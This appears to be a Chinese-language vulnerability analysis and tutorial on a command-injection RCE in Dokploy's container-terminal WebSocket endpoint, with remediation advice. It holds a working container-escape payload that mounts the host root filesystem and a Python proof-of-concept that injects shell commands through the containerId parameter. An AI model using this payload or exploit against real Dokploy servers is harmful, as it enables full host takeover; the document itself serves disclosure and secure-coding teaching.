Dokploy RCE (CVE-2026-24841) 深度分析:复现 WebSocket 下的核弹级逃逸
字数 1412
更新时间 2026-02-06 03:01:33

CVE-2026-24841 Dokploy RCE漏洞深度分析教学文档

漏洞概述

CVE编号:CVE-2026-24841
漏洞类型:远程代码执行(RCE)
影响版本:Dokploy < 0.26.6
CVSS评分:9.9(严重)
漏洞位置:WebSocket端点 /docker-container-terminal

系统背景

Dokploy是一个开源自托管平台即服务(PaaS),功能类似于Vercel/Heroku的平替方案,主要用于:

  • 绑定域名和配置HTTPS
  • 从Git仓库或镜像一键部署项目
  • 查看日志和管理服务重启
  • 管理Docker容器生命周期

漏洞功能场景

Dokploy提供"容器终端"功能,允许用户通过Web界面直接与Docker容器交互,类似于执行docker exec -it ... /bin/sh命令。

漏洞原理分析

核心问题

WebSocket端点 /docker-container-terminal 存在命令注入漏洞,containerIdactiveWay 参数未经任何过滤直接拼接到shell命令中。

代码审计发现

漏洞位置1:SSH分支

conn.exec(`docker exec -it -w / ${containerId} ${activeWay}`, { pty: true }, ...);

漏洞位置2:本地执行分支

const ptyProcess = spawn(shell, ["-c", `docker exec -it -w / ${containerId} ${activeWay}`], {});

Shell命令闭合攻击原理

攻击者通过注入Shell元字符实现命令截断和注入:

  • ; - 命令分隔符,结束前一条命令并执行下一条
  • && - 逻辑与操作符
  • | - 管道操作符
  • $() / 反引号 - 命令替换

攻击示例

恶意payload构造

  • containerId: 123; docker run --rm -v /:/host -i alpine chroot /host bash;
  • activeWay: bash

最终执行的命令

docker exec -it 123; docker run --rm -v /:/host -i alpine chroot /host bash; bash

容器逃逸技术细节

  1. 命令截断:分号截断原始docker exec命令
  2. Docker Socket利用:Dokploy容器内挂载了宿主机的/var/run/docker.sock
  3. 权限提升:通过新容器挂载宿主机根文件系统实现逃逸
  4. 宿主机控制chroot /host获得宿主机完整控制权

漏洞复现

PoC代码分析

import asyncio
import websockets
from urllib.parse import quote

async def exploit(target, cookie, cmd):
    payload = f"x;{cmd};#"
    uri = f"{target.replace('http','ws')}/docker-container-terminal?containerId={quote(payload)}&activeWay=sh"
    
    async with websockets.connect(uri, additional_headers={"Cookie": cookie}) as ws:
        # 接收命令执行结果
        while True:
            try:
                output = await asyncio.wait_for(ws.recv(), timeout=2)
                print(output)
            except asyncio.TimeoutError:
                break

攻击步骤

  1. 获取有效的用户会话Cookie
  2. 构造恶意WebSocket连接URL
  3. 通过containerId参数注入命令
  4. 接收命令执行输出

修复方案

方案1:输入验证(不推荐)

// 简单的正则验证
function validateContainerId(id) {
    return /^[a-f0-9]{12,64}$/i.test(id);
}

方案2:安全的命令执行(推荐)

// 使用参数数组而非字符串拼接
const ptyProcess = spawn('docker', [
    'exec', '-it', '-w', '/', 
    containerId, activeWay
], { shell: false });

修复原理对比

  • 字符串拼接:触发Shell解释器,解析元字符
  • 参数数组:直接传递给execvp系统调用,避免Shell解释

漏洞影响评估

  • 攻击复杂度:低(仅需普通用户权限)
  • 影响范围:从容器到宿主机的完整权限逃逸
  • 利用条件:需要有效的用户会话,但权限要求低

教学总结

  1. 安全开发原则:永远不要信任用户输入,特别是用于命令执行的参数
  2. API设计:WebSocket接口同样需要严格的输入验证
  3. Docker安全:挂载Docker Socket的容器需要特别严格的安全控制
  4. 修复策略:优先使用参数化执行而非字符串拼接

防御建议

  1. 对所有用户输入进行严格的白名单验证
  2. 使用安全的命令执行API,避免Shell解释
  3. 最小权限原则,限制容器权限
  4. 定期进行安全代码审计和渗透测试

该漏洞案例典型展示了供应链安全中"小功能大风险"的特点,提醒开发者在实现交互式功能时需要特别关注安全边界。

 全屏